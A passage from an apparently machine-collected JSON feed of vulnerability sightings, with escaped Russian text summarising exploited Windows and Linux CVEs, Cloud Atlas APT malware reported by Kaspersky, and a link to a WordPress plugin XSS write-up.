\u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-31T00:00:48.891277Z"}, {"uuid": "8f29e643-7fa9-4533-9433-96b0110dd808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/kasperskylab_ru/7648", "content": "\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c APT-\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Cloud Atlas. \u0412 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u2014 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c CloudAtlasGo, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Golang. \u0420\u0430\u043d\u0435\u0435 \u044d\u0442\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 PowerShell \u0438 VBS.\n\u00a0\n\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u0430\u043a\u0442\u044b \u043e \u043d\u043e\u0432\u043e\u043c \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0435:\n\ud83d\udd35\u041d\u0430\u0447\u0430\u043b\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u044b\u043c \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u044e\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b CVE-2018-0802.\n\ud83d\udd35\u041f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u043c\u0438 Trello. \u0417\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043d \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0435\u0442 \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f\u0445 \u043a\u0430\u0440\u0442\u043e\u0447\u0435\u043a \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432.\n\ud83d\udd35\u0417\u043b\u043e\u0432\u0440\u0435\u0434 \u0443\u043c\u0435\u0435\u0442 \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0430.\n\ud83d\udd35\u2060\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 CloudAtlasGo \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u044c \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430, \u0441\u0445\u0435\u043c\u044b \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\nKaspersky \ud83d\udc99 \u0412\u041a | \ud83d\udcac Max | \ud83d\udcdd \u0414\u0437\u0435\u043d\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-01T17:00:12.354842Z"}, {"uuid": "197336dc-a2ff-4be7-a838-95014a745d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0800", "type": "seen", "source": "https://t.me/hacking_Attack/178534", "content": "CVE-2026\u20130800: Unauthenticated Stored Cross-Site Scripting in User Submitted Posts WordPress Plugin\nhttps://balax01.medium.com/cve-2026-0800-unauthenticated-stored-cross-site-scripting-in-user-submitted-posts-wordpress-plugin-303cfeecee1f?source=rss------bug_bounty-5\n\nHi, I\u2019m Balamurugan R.\n\u00a0I am currently an unemployed cybersecurity student and an independent security researcher.Continue reading on Medium \u00bb (https://balax01.medium.com/cve-2026-0800-unauthenticated-stored-cross-site-scripting-in-user-submitted-posts-wordpress-plugin-303cfeecee1f?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:13.944960Z"}, {"uuid": "77694324-2e7f-4ac2-bb66-1cb5641affa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0800", "type": "seen", "source": "https://t.me/hacking_Attack/178534", "content": "CVE-2026\u20130800: Unauthenticated Stored Cross-Site Scripting in User Submitted Posts WordPress Plugin\nhttps://balax01.medium.com/cve-2026-0800-unauthenticated-stored-cross-site-scripting-in-user-submitted-posts-wordpress-plugin-303cfeecee1f?source=rss------bug_bounty-5\n\nHi, I\u2019m Balamurugan R.\n\u00a0I am currently an unemployed cybersecurity student and an independent security researcher.Continue reading on Medium \u00bb (https://balax01.medium.com/cve-2026-0800-unauthenticated-stored-cross-site-scripting-in-user-submitted-posts-wordpress-plugin-303cfeecee1f?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:32.056365Z"}, {"uuid": "3fffc375-db93-406f-b8e6-ee44ac7f8a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/kasperskylab_ru/7648", "content": "\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c APT-\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Cloud Atlas. \u0412 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u2014 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c CloudAtlasGo, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Golang. \u0420\u0430\u043d\u0435\u0435 \u044d\u0442\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 